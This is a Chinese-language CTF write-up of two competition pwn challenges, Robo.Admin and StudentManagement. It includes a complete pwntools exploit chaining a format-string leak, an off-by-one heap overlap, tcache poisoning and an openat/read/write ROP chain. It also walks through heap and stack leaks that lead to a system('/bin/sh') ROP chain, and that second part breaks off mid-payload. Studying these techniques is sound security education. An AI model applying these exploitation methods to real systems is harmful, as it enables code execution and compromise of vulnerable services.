软件系统安全赛&&长城杯复现

软件系统安全赛

半决赛

Robo.Admin

attack

image-20260822232202261

image-20260822232229871

image-20260822232505117

setnotice这里直接用%、$会被拦截但是sub_1528是个解码器,我们用

1
b'\\x256\\x24016lx.\\x257\\x24016lx.\\x2514\\x24p.\\x2515\\x24p.\\x2523\\x24p'

被解码后就成了%6$16lx这种

image-20260822232810674

这里存在格式化字符串,我们可以利用他来泄露libc这些地址,密码等。

image-20260822234052157

登录需要密码,登录成功后才进入真正的heap的经典界面

image-20260822234154991

这里的主要漏洞是edit里面存在off_by_one的漏洞,我可以利用他来泄露或者覆盖地址

image-20260823000555810

第一步利用格式化字符串泄露出来要用的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fmt = b'\\x256\\x24016lx.\\x257\\x24016lx.\\x2514\\x24p.\\x2515\\x24p.\\x2523\\x24p'
setnotice(fmt)

show()
ru(b'Notice: ')
leak = rl().strip()
lg('leak:', leak)

part1,part2,stack_leak,pie_leak,libc_leak = leak.split(b'.')
password = part1 + part2

stack = int(stack_leak, 16)
pie_base = int(pie_leak, 16) - 0x2893
libc_base = int(libc_leak, 16) - 0x29d90
lg('stack', stack)
lg('pie_base', pie_base)
lg('libc_base', libc_base)

lg('password:', password)

由于有 tcache,我们得先填充他才行,然后再构造堆块来利用off_by_one将下一个chunk的size改大从而控制他下面的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for i in range(7):
create(i, b'F', 0x1e8)
for i in range(7):
delete(i)

create(0, b'DM0', 0xb8)
create(7, b'DM7', 0xb8)
create(1, b'flag', 0x128)
create(2, b'B', 0x128)
create(3, b'C', 0xb8)
create(4, b'D', 0xf8)

#edit(3, b'C' * 0xb0 + p64(0x1f0) + b'\x01', 0xb9)
edit(3, b'C' * 0xb0 + p64(0x1f0) , 0xb8)

edit(1, b'A' * 0x128 + b'\xf1', 0x129)

delete(2)
create(2, b'B2', 0x128)
create(5, b'E', 0xb8)
delete(5)

query(3)
ru(b'=> ')
heap_key = uptr(rl().strip())
lg('heap_key', heap_key)

edit(3, b’C’ * 0xb0 + p64(0x1f0) , 0xb8) 是为了让4识别到他上面的chunk大小是0x1f0,也就是把2和3chunk合并的大小

create(5, b'E', 0xb8)
delete(5)

使得chunk5 chunk3堆块重叠造成UAF

我们show3就会泄露出free状态的chunk5的fd,

1
2
3
4
5
6
7
8
9
create(5, b'E2', 0xb8)
delete(0)
delete(7)
delete(5)

target = stack
edit(3, p64(target ^ heap_key), 8)
create(0, b'P', 0xb8)
create(5, b'Q', 0xb8)

然后我们再利用UAF来把chunk5 fd指向的地方改成save rbp

改成save rbp不是rip是为了保持堆栈平衡,0,7chunks的作用是给tcache链的chunk3创造指针。

target ^ heap_key因为存在Safe-Linking,

1
fd = next_chunk ^ (current_chunk_addr >> 12)

然后

1
2
create(0, b'P', 0xb8)
create(5, b'Q', 0xb8)

第一个create把chunk5free申请回来了,第二个就算指向返回地址了

然后我们再构造rop链,执行就可以得到flag了。但是要注意要openat +read + write

image-20260823000440809

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
from pwn import *
import os
import sys
import shlex
import glob
import shutil
from pathlib import Path

# ============================================================
# GDB / pwndbg 启动加速:必须在 pwntools 调 gdb 前生效
# ============================================================
# 防止 gdb 在读取 ld/libc 符号时卡在:Downloading separate debug info ...
os.environ['DEBUGINFOD_URLS'] = ''
os.environ.setdefault('GDBHISTFILE', '/tmp/gdb_history_pwn')

# ============================================================
# 使用说明
# ============================================================
#
# 1. SYSTEM:只用本机系统环境运行
#
# python exp.py SYSTEM
#
# SYSTEM + GDB:
#
# python exp.py SYSTEM GDB
#
#
# 2. LOCAL:使用题目附件环境运行
#
# python exp.py LOCAL
#
# LOCAL 会自动找当前目录下的 ld / libc。
# 自动识别不对时,手动指定:
#
# python exp.py LOCAL LD=./ld-2.23.so LIBC=./libc-2.23.so
#
# python exp.py LOCAL LD=./ld-linux-x86-64.so.2 LIBC=./libc.so.6
#
# LOCAL + GDB:
#
# python exp.py LOCAL GDB LD=./ld-linux-x86-64.so.2 LIBC=./libc.so.6
#
# 注意:
# GDB 不会在 start() 里启动。
# 程序会先正常执行 main() 里的交互逻辑。
# 执行到 dbg() 时才 attach pwndbg。
#
#
# 3. REMOTE:远程连接
#
# python exp.py REMOTE HOST=127.0.0.1 PORT=9999 LIBC=./libc.so.6
#
# REMOTE 不会本地加载 ld/libc。
# LIBC 只用于 libc.sym 偏移计算。
#
#
# 4. 只有 libc,没有 ld,但想强行 LD_PRELOAD:
#
# python exp.py LOCAL PRELOAD LIBC=./libc.so.6
#
# 默认不推荐 PRELOAD,因为系统 loader + 题目 libc 可能不兼容。
#
#
# 5. 常用参数:
#
# SYSTEM 强制系统 libc
# LOCAL 使用题目附件环境
# REMOTE 远程连接
# GDB 执行到 dbg() 时 attach gdb/pwndbg
# DEBUG pwntools debug 日志
# PRELOAD 只有 libc 没有 ld 时强制 LD_PRELOAD
# BIN=xxx 指定程序路径,默认 ./pwn
# LD=xxx 指定 loader 路径
# LIBC=xxx 指定 libc 路径
# LIBC_DIR=x 指定 --library-path 目录
# HOST=xxx 远程地址
# PORT=xxx 远程端口
#
# ============================================================


# ================= 1. 架构与运行环境 =================

# 32 位 x86:
# context(os='linux', arch='i386', bits=32, endian='little', log_level='info')

# 64 位 x86:
context(os='linux', arch='amd64', bits=64, endian='little', log_level='info')

# 32 位 ARM 小端:
# context(os='linux', arch='arm', bits=32, endian='little', log_level='info')

# 64 位 ARM:
# context(os='linux', arch='aarch64', bits=64, endian='little', log_level='info')

# MIPS 小端:
# context(os='linux', arch='mips', bits=32, endian='little', log_level='info')

# MIPS 大端:
# context(os='linux', arch='mips', bits=32, endian='big', log_level='info')

# PowerPC 大端:
# context(os='linux', arch='powerpc', bits=32, endian='big', log_level='info')

# RISC-V 64:
# context(os='linux', arch='riscv64', bits=64, endian='little', log_level='info')

# 让 tmux split 出来的 gdb pane 也继承关闭 debuginfod 的环境。
# 旧 tmux server 不一定继承当前 shell 的 DEBUGINFOD_URLS,所以这里显式 -e。
context.terminal = ['tmux', 'splitw', '-h', '-e', 'DEBUGINFOD_URLS=', '-e', 'GDBHISTFILE=/tmp/gdb_history_pwn']
# GDB 开关说明:
# 只有命令行显式带 GDB 才 attach。
# 普通运行不会进入 pwndbg。
# 注意:pwntools 会解析并清空 sys.argv,所以 auto_tmux 不能再依赖 sys.argv[1:]。
WANT_GDB = bool(args.GDB)


def rebuild_argv_for_tmux():
"""重新构造传给 tmux 内部 python 的参数,避免 GDB/LOCAL/LD/LIBC 丢失。"""
rebuilt = []

for flag in ('SYSTEM', 'LOCAL', 'REMOTE', 'GDB', 'DEBUG', 'PRELOAD'):
if getattr(args, flag, False):
rebuilt.append(flag)

for key in ('BIN', 'HOST', 'PORT', 'LD', 'LIBC', 'LIBC_DIR'):
value = getattr(args, key, None)
if value:
rebuilt.append(f'{key}={value}')

return rebuilt


def auto_tmux():
"""
带 GDB 且当前不在 tmux 时,自动创建 tmux session。
这样 gdb.attach() 里的 tmux splitw 才能正常打开 pwndbg。

例如:
python exp.py SYSTEM GDB
python exp.py LOCAL GDB LD=./ld-linux-x86-64.so.2 LIBC=./libc.so.6
"""
if WANT_GDB and not os.environ.get('TMUX'):
cmd = ' '.join(
shlex.quote(x)
for x in [sys.executable, sys.argv[0]] + rebuild_argv_for_tmux()
)

# 用 bash -lc 包一层:如果脚本报错,tmux 不会瞬间关闭,看得到错误。
wrapped = (
f'{cmd}; '
'status=$?; '
'echo; '
'echo "[tmux] command exited with status ${status}"; '
'echo "[tmux] press Enter to close..."; '
'read _'
)

os.execvp('tmux', ['tmux', 'new-session', 'bash', '-lc', wrapped])


auto_tmux()


# ================= 2. 文件与远程配置:三模式切换器 =================

BIN = args.BIN or './robo_admin'

HOST = args.HOST or '127.0.0.1'
PORT = int(args.PORT or 9999)

SYSTEM_LIBC = (
'/lib/i386-linux-gnu/libc.so.6'
if context.bits == 32
else '/lib/x86_64-linux-gnu/libc.so.6'
)


def exists(path):
return path is not None and Path(path).is_file()


def first_exists(paths):
for path in paths:
if exists(path):
return path
return None


def auto_find_libc():
"""
自动寻找题目 libc。
不保证所有附件命名都能识别。
识别错就手动 LIBC=xxx。
"""
candidates = [
'./libc.so.6',
'./libc.so',
'./lib/libc.so.6',
'./libs/libc.so.6',
'./runtime/libc.so.6',
'./glibc/libc.so.6',
]

candidates += sorted(glob.glob('./libc-*.so*'))
candidates += sorted(glob.glob('./libc_*.so*'))
candidates += sorted(glob.glob('./*/libc.so.6'))
candidates += sorted(glob.glob('./*/*libc*.so*'))

return first_exists(candidates)


def auto_find_ld():
"""
自动寻找题目 loader。
识别错就手动 LD=xxx。
"""
candidates = [
'./ld.so',
'./ld-linux-x86-64.so.2',
'./ld-linux.so.2',
'./lib/ld-linux-x86-64.so.2',
'./libs/ld-linux-x86-64.so.2',
'./runtime/ld-linux-x86-64.so.2',
'./glibc/ld-linux-x86-64.so.2',
]

candidates += sorted(glob.glob('./ld-*.so*'))
candidates += sorted(glob.glob('./ld_*.so*'))
candidates += sorted(glob.glob('./*/ld-*.so*'))
candidates += sorted(glob.glob('./*/ld-linux*.so*'))

return first_exists(candidates)


# 手动指定优先级最高
CUSTOM_LD = args.LD or auto_find_ld()
CUSTOM_LIBC = args.LIBC or auto_find_libc()
CUSTOM_LIBC_DIR = args.LIBC_DIR or '.'

HAS_CUSTOM_LD = exists(CUSTOM_LD)
HAS_CUSTOM_LIBC = exists(CUSTOM_LIBC)

# 运行模式选择:
#
# python exp.py REMOTE -> REMOTE
# python exp.py SYSTEM -> SYSTEM
# python exp.py LOCAL -> LOCAL
#
# 如果没写模式:
# 同时找到 ld + libc -> LOCAL
# 否则 -> SYSTEM

if args.REMOTE:
RUN_MODE = 'REMOTE'
elif args.SYSTEM:
RUN_MODE = 'SYSTEM'
elif args.LOCAL or args.LD or args.LIBC or args.LIBC_DIR:
RUN_MODE = 'LOCAL'
elif HAS_CUSTOM_LD and HAS_CUSTOM_LIBC:
RUN_MODE = 'LOCAL'
else:
RUN_MODE = 'SYSTEM'


elf = ELF(BIN, checksec=False)
context.binary = elf


def resolve_symbol_libc():
"""
决定 libc.sym 用哪个 libc。

SYSTEM:
用系统 libc。

LOCAL:
有题目 libc 就用题目 libc。
没有就用系统 libc。

REMOTE:
有题目 libc 就用题目 libc。
没有就用系统 libc。
"""
if RUN_MODE == 'SYSTEM':
return SYSTEM_LIBC

if RUN_MODE in ('LOCAL', 'REMOTE'):
return CUSTOM_LIBC if HAS_CUSTOM_LIBC else SYSTEM_LIBC

return SYSTEM_LIBC


LIBC = resolve_symbol_libc()
LD = CUSTOM_LD if HAS_CUSTOM_LD else None

libc = ELF(LIBC, checksec=False) if exists(LIBC) else None
ld = LD if exists(LD) else None

log.info(f'RUN_MODE = {RUN_MODE}')
log.info(f'BIN = {BIN}')
log.info(f'SYSTEM_LIBC = {SYSTEM_LIBC}')
log.info(f'CUSTOM_LD = {CUSTOM_LD}')
log.info(f'CUSTOM_LIBC = {CUSTOM_LIBC}')
log.info(f'LIBC_SYMBOL = {LIBC}')


def prepare_libc_dir():
"""
给 ld --library-path 准备 libc.so.6。

情况 1:
用户指定 LIBC_DIR=xxx
直接用用户指定目录。

情况 2:
题目 libc 文件名就是 libc.so.6
直接用它所在目录。

情况 3:
题目 libc 文件名是 libc-2.23.so / libc_2.31.so
自动创建 .pwn_runtime/libc.so.6 指向它。
"""
if not HAS_CUSTOM_LIBC:
return CUSTOM_LIBC_DIR

if args.LIBC_DIR:
return args.LIBC_DIR

source = Path(CUSTOM_LIBC).resolve()

if Path(CUSTOM_LIBC).name == 'libc.so.6':
return str(source.parent)

runtime_dir = Path('.pwn_runtime')
runtime_dir.mkdir(exist_ok=True)

target = runtime_dir / 'libc.so.6'

try:
if target.exists() or target.is_symlink():
target.unlink()
target.symlink_to(source)
except Exception:
shutil.copy2(source, target)

return str(runtime_dir)


# ================= 3. 启动方式 =================

def start(argv=None):
"""
只启动进程,不进 GDB。

GDB 调试统一走 dbg()。
也就是:
p = start()
main()
执行到 dbg()
gdb.attach(p)
"""
argv = list(argv or [])

if args.DEBUG:
context.log_level = 'debug'

if RUN_MODE == 'REMOTE':
log.info(f'连接远程:{HOST}:{PORT}')
log.info(f'远程偏移使用 libc:{LIBC}')
return remote(HOST, PORT)

if RUN_MODE == 'SYSTEM':
log.info('本地运行:系统 loader + 系统 libc')
return process([BIN] + argv)

if RUN_MODE == 'LOCAL':

if HAS_CUSTOM_LD and HAS_CUSTOM_LIBC:
libc_dir = prepare_libc_dir()
cmd = [CUSTOM_LD, '--library-path', libc_dir, BIN] + argv

log.info('本地运行:题目 loader + 题目 libc')
log.info(' '.join(cmd))

return process(cmd)

if HAS_CUSTOM_LIBC and not HAS_CUSTOM_LD:
log.warning('LOCAL 模式:检测到题目 libc,但没有题目 loader。')
log.warning('默认不使用 LD_PRELOAD,本地运行降级为系统环境。')
log.warning('libc.sym 仍使用题目 libc。')

if args.PRELOAD:
log.warning('你指定了 PRELOAD,强制 LD_PRELOAD 题目 libc。可能不稳定。')
env = os.environ.copy()
env['LD_PRELOAD'] = str(Path(CUSTOM_LIBC).resolve())
return process([BIN] + argv, env=env)

elif HAS_CUSTOM_LD and not HAS_CUSTOM_LIBC:
log.warning('LOCAL 模式:检测到题目 loader,但没有题目 libc。')
log.warning('本地运行降级为系统环境。')

else:
log.warning('LOCAL 模式:没有检测到题目 ld/libc。')
log.warning('本地运行降级为系统环境。')

return process([BIN] + argv)

raise RuntimeError(f'未知 RUN_MODE: {RUN_MODE}')


p = start()

# 打印实际加载的 libc / ld,方便确认到底用了谁
try:
libs = p.libs()
for path, base in libs.items():
if 'libc' in path or 'ld' in path:
log.info(f'loaded {hex(base)} {path}')
except Exception:
pass


# ================= 4. 数据转换辅助 =================

def bstr(x):
"""
str / int / bytes 自动转 bytes。
"""
if isinstance(x, bytes):
return x
if isinstance(x, int):
return str(x).encode()
if isinstance(x, str):
return x.encode()
return x


def ptr(x):
"""
按当前架构自动 p32 / p64。
"""
if context.bits == 32:
return p32(x)
return p64(x)


def uptr(x):
"""
按当前架构自动 u32 / u64。
"""
if context.bits == 32:
return u32(x[:4].ljust(4, b'\x00'))
return u64(x[:8].ljust(8, b'\x00'))


# ================= 5. 常用收发简写 =================

def ru(x):
return p.recvuntil(bstr(x))


def rl():
return p.recvline()


def r(n):
return p.recv(n)


def ra(timeout=0.2):
return p.recvall(timeout=timeout)


def s(x):
p.send(bstr(x))


def sl(x):
p.sendline(bstr(x))


def sa(prompt, x):
p.sendafter(bstr(prompt), bstr(x))


def sla(prompt, x):
p.sendlineafter(bstr(prompt), bstr(x))


def lg(name, value):
if isinstance(value, int):
success(f'{name} = {hex(value)}')
else:
success(f'{name} = {value}')


# ================= 6. 菜单入口 =================

# 常见菜单提示:
# b'choice: ' / b'Choice: ' / b'Your choice: ' / b'Action: ' / b'>> ' / b'> '

MENU = b'> '

def menu(choice):
sla(MENU, choice)


# ================= 7. 功能函数模板:现场按题目改 =================

def setnotice(fmt):
menu(1)
sl(fmt)


def login(Token, Password):
menu(3)
sla(b'Token:', Token)
sla(b'Password (32 hex):', Password)


def show():
menu(2)
# 按题目实际输出修改
# return rl() + rl()

def create(Index,name, size):
menu(1)
sla(b'Index:', Index)
sla(b'Task name:', name)
sla(b'Desc size:', size)



def edit(Index,content, size):
menu(2)
sla(b'Index:', Index)
sla(b'Write length :', size)
sa(b'New desc bytes:', content)


def query(Index):
menu(3)
sla(b'Index:', Index)


def show2():
menu(4)


def delete(Index):
menu(5)
sla(b'Index:', Index)


def logout():
menu(6)

# ================= 8. 多字段菜单备用模板 =================

def add_multi(size=None, name=None, content=None):
menu(1)
sla(b'size: ', size)
sa(b'name: ', name)
sa(b'content: ', content)


def edit_with_len(index, content):
menu(4)
sla(b'index: ', index)
sla(b'length: ', len(content))
sa(b'content: ', content)


# ================= 9. 泄露辅助 =================

def leak_raw_after(prefix, n):
ru(prefix)
return r(n)


def leak_ptr_after(prefix, n=None):
"""
32 位:默认读 4 字节。
64 位:默认读 6 字节再补齐。
"""
if n is None:
n = 4 if context.bits == 32 else 6
data = leak_raw_after(prefix, n)
return uptr(data)


def leak_libc(leak_addr, symbol_name):
"""
已知某个 libc 函数真实地址,计算 libc_base。
例:
libc_base = leak_libc(puts_addr, 'puts')
"""
if libc is None:
raise RuntimeError('没有加载 libc,不能用 libc.sym 自动计算')
base = leak_addr - libc.sym[symbol_name]
lg('libc_base', base)
return base


# ================= 10. 常用地址获取 =================

def got(name):
return elf.got[name]


def plt(name):
return elf.plt[name]


def sym(name):
return elf.sym[name]


def libc_sym(base, name):
if libc is None:
raise RuntimeError('没有加载 libc')
return base + libc.sym[name]


def libc_search(base, data):
if libc is None:
raise RuntimeError('没有加载 libc')
return base + next(libc.search(data))


# ================= 11. 调试辅助 =================

def dbg(script=''):
"""
GDB attach 调试。

用法:
dbg()

临时加断点:
dbg('''
b *0x401234
c
''')

注意:
只有命令行带 GDB 才会 attach:
python exp.py LOCAL GDB
"""
log.info(f'到达 dbg(): WANT_GDB={WANT_GDB}, args.GDB={args.GDB}, tmux_args={rebuild_argv_for_tmux()}, TMUX={bool(os.environ.get("TMUX"))}')

if not WANT_GDB:
log.warning('当前为非调试模式,跳过 gdb.attach,随后会进入 p.interactive()')
return

gdb.attach(
p,
gdb_args=['-iex', 'set debuginfod enabled off'],
gdbscript='''
set pagination off
set confirm off
set verbose off
set print pretty on
set disassembly-flavor intel
set debuginfod enabled off
''' + script
)
pause()


def checksec():
elf.checksec()


# ================= 12. 利用逻辑区 =================

def main():
fmt = b'\\x256\\x24016lx.\\x257\\x24016lx.\\x2514\\x24p.\\x2515\\x24p.\\x2523\\x24p'
setnotice(fmt)

show()
ru(b'Notice: ')
leak = rl().strip()
lg('leak:', leak)

part1,part2,stack_leak,pie_leak,libc_leak = leak.split(b'.')
password = part1 + part2

stack = int(stack_leak, 16)
pie_base = int(pie_leak, 16) - 0x2893
libc_base = int(libc_leak, 16) - 0x29d90
lg('stack', stack)
lg('pie_base', pie_base)
lg('libc_base', libc_base)

lg('password:', password)

login(b'ROBOADMIN', password)

for i in range(7):
create(i, b'F', 0x1e8)
for i in range(7):
delete(i)

create(0, b'DM0', 0xb8)
create(7, b'DM7', 0xb8)
create(1, b'flag', 0x128)
create(2, b'B', 0x128)
create(3, b'C', 0xb8)
create(4, b'D', 0xf8)

#edit(3, b'C' * 0xb0 + p64(0x1f0) + b'\x01', 0xb9)
edit(3, b'C' * 0xb0 + p64(0x1f0) , 0xb8)

edit(1, b'A' * 0x128 + b'\xf1', 0x129)

delete(2)
create(2, b'B2', 0x128)
create(5, b'E', 0xb8)
delete(5)

query(3)
ru(b'=> ')
heap_key = uptr(rl().strip())
lg('heap_key', heap_key)

create(5, b'E2', 0xb8)
delete(0)
delete(7)
delete(5)

target = stack
edit(3, p64(target ^ heap_key), 8)
create(0, b'P', 0xb8)
create(5, b'Q', 0xb8)

pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_rbx = libc_base + 0x904a9
openat = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

flag_path = pie_base + 0x5078
flag_buf = pie_base + 0x5200

rop = b''
rop += p64(0)
rop += p64(pop_rdi) + p64(0xffffffffffffff9c)
rop += p64(pop_rsi) + p64(flag_path)
rop += p64(pop_rdx_rbx) + p64(0) + p64(0)
rop += p64(openat)
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(flag_buf)
rop += p64(pop_rdx_rbx) + p64(0x100) + p64(0)
rop += p64(read_addr)
rop += p64(pop_rdi) + p64(1)
rop += p64(pop_rsi) + p64(flag_buf)
rop += p64(write_addr)
assert len(rop) <= 0xb8

edit(5, rop, len(rop))
logout()
menu(4)


#dbg()


if __name__ == '__main__':
main()
p.interactive()



#python3 exp.py LOCAL GDB LD=./ld-linux-x86-64.so.2 LIBC=./libc.so.6
#python3 exp.py LOCAL
#python exp.py SYSTEM GDB
#python3 exp.py REMOTE HOST=127.0.0.1 PORT=9999 LIBC=./libc.so.6
#python3 exp.py LOCAL PRELOAD LIBC=./libc.so.6

fix

image-20260823010801166

image-20260823010921789

决赛

StudentManagement

attack

image-20260813173015094

有注册 登录 删除功能

先看注册功能

image-20260813180559459

在这里可以看出结构体大概是

1
2
3
0x00 - 0x10:ID
0x10 - 0x50:name
0x50 - 0x70:pass

image-20260813180914308

sub_1351这个函数的功能要和后面的连在一起看

image-20260813181352748

1
2
3
s1  = qword_4030;

s1 = s1[16];

比较s1和buf 也就是比较qword_4030[16]和buf

从下面的替换可以看出qword_4030就是上一个buf

1
2
3
buf[16] = qword_4030;

qword_4030 =buf;

上一个堆块的 next 指针储存的ID 和 当前堆块起始位置 储存的ID 也就是比较 当前 student 的 id 和 输入的 id。

所以现在的结构体是

1
2
3
4
0x00 - 0x10:ID
0x10 - 0x50:name
0x50 - 0x70:pass
0x80:next

接着去看login函数

image-20260813185503953

没有新的东西出现,接着看下一个,登录成功后又有一个菜单

image-20260813185550425

在show函数里面可以看到有输出的地方,我们到时候就要利用这个来泄露地址。

image-20260813185655007

然后就是一个edit函数

image-20260813185803092

这里就存在一个问题,bio和bio_siez没有初始化,直接就可以edit

现在的结构体更新一下

1
2
3
4
5
6
7
0x00 - 0x10:ID
0x10 - 0x50:name
0x50 - 0x70:pass
0x50 - 0x70:pass
0x70:bio
0x70:bio_size
0x80:next

然后这里有一个if判断,只要你输入的size不比bio_size大的化 你就直接去修改bio指向的地方,不会去重新申请一个chunk。

第一步是要去泄露一些信息的。所以就要去考虑怎么构造chunk的分布,要去利用unstorebin的fd和bk

libc的版本大于2.26,我们得先去填充tcache,再free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for i in range(13):
name = f'user{i}'.encode()
password = f'pass{i}'.encode()
Reg(i, name, password)

Reg(14, b'AAAA', b'BBBB') #隔离top chunk

for i in range(7):
name = f'user{i}'.encode()
password = f'pass{i}'.encode()
delete(i)


for i in reversed(range(7, 13)):
delete(i)

for i in range(7):
name = f'user{i}'.encode()
password = f'pass{i}'.encode()
Reg(i, name, password)

image-20260813195112487

这样才能得到fd和bk,然后我们得把fd或者chunk的next放到bio的位置才行,这样我们才能printf出来fd来计算libc_base或者泄露出heapaddr来计算heapbase。

所以我们要通过editbio申请一个0x120的chunk,把chunk的next放到bio的位置,泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
login(6, b'pass6')
edit(0x120, b'AAAA')

menu(0)
Reg(7, b'user7', b'pass7')


login(7, b'pass7')
show()

ru(b'Bio: ')
leak_data = rl().rstrip(b'\n')
print(hexdump(leak_data))
libc_leak = u64(leak_data[:6].ljust(8, b'\x00'))
lg('libc_leak', libc_leak)

libc_base = libc_leak - 0x203b20
lg('libc_base', libc_base)


environ_addr = libc_base + libc.sym['environ']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

image-20260813195847101

然后利用同样的道理去泄露heapaddr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
menu(0)


Reg(15, b'user15', b'pass15')
Reg(16, b'user16', b'pass16')
login(16, b'pass16')

show()
ru(b'Bio: ')
heap_leak = u64(r(6).ljust(8, b'\x00'))
heap_base = heap_leak - 0x2a0
lg('heap_leak', heap_leak)
lg('heap_base', heap_base)
#menu(0)

writer_bio = heap_base + 0x720
writer_bio15 = heap_base + 0x7b0
writer_bio16 = heap_base + 0x840
writer_user = heap_base + 0x7c0
s6 = heap_base + 0x2a0
s15 = heap_base + 0x850

image-20260813200416656

泄露stack的思路也是利用构造堆的分布 把bio的位置覆盖成environ地址,environ存的是stack的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
menu(0)
#Reg(17, b'user17', b'pass17')

#login(16, b'pass16')
login(7, b'pass7')
payload = flat({
0xa0 - 0x08: b'\x91\x00',
0xa0 + 0x00: b'7\n\x00',
0xa0 + 0x10: b'user7\n\x00',
0xa0 + 0x50: b'pass7\n\x00',
0xa0 + 0x70: p64(writer_bio),#p64(environ_addr),
0xa0 + 0x78: p64(0x400),
}, filler=b'\x00')
log.info(f'payload len = {hex(len(payload))}')

edit(0x120, payload[:-1])

payload = flat({
0xa0 - 0x08: b'\x91\x00',
0xa0 + 0x00: b'7\n\x00',
0xa0 + 0x10: b'user7\n\x00',
0xa0 + 0x50: b'pass7\n\x00',
0xa0 + 0x70: p64(writer_bio),#p64(environ_addr),
0xa0 + 0x78: p64(0x400),
0xa0 + 0x80: p64(s6),

0x130 - 0x08: b'\x91\x00',
0x130 + 0x00: b'15\n\x00',
0x130 + 0x10: b'user15\n\x00',
0x130 + 0x50: b'pass15\n\x00',
0x130 + 0x70: p64(writer_bio15),
0x130 + 0x78: p64(0x400),
0x130 + 0x80: p64(writer_user),

0x1c0 - 0x08: b'\x91\x00',
0x1c0 + 0x00: b'16\n\x00',
0x1c0 + 0x10: b'user16\n\x00',
0x1c0 + 0x50: b'pass16\n\x00',
0x1c0 + 0x70: p64(environ_addr),#p64(writer_bio16)
0x1c0 + 0x78: p64(0x400),
0x1c0 + 0x80: p64(s15),
}, filler=b'\x00')
log.info(f'payload len = {hex(len(payload))}')

edit(0x248, payload[:-1])

menu(0)

login(16, b'pass16')

show()

ru(b'Bio: ')
leak_data = rl().rstrip(b'\n')
print(hexdump(leak_data))
stack_leak = u64(leak_data[:6].ljust(8, b'\x00'))
lg('stack_leak ', stack_leak )

image-20260813201010745

所有需要的信息都泄露我们就可以去,去找返回地址然后把这个覆盖成system(‘/bin/sh’)就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
stack_ret_delte = 0x1b0
ret = stack_leak - stack_ret_delte
#ret_off = rop.find_gadget(['ret'])[0]
#pop_rdi_off = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = libc_base + 0x2882f
pop_rdi = libc_base + 0x10f78b

rop = p64(ret_gadget)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)

menu(0)
login(7, b'pass7')
payload = flat({
0xa0 - 0x08: b'\x91\x00',
0xa0 + 0x00: b'7\n\x00',
0xa0 + 0x10: b'user7\n\x00',
0xa0 + 0x50: b'pass7\n\x00',
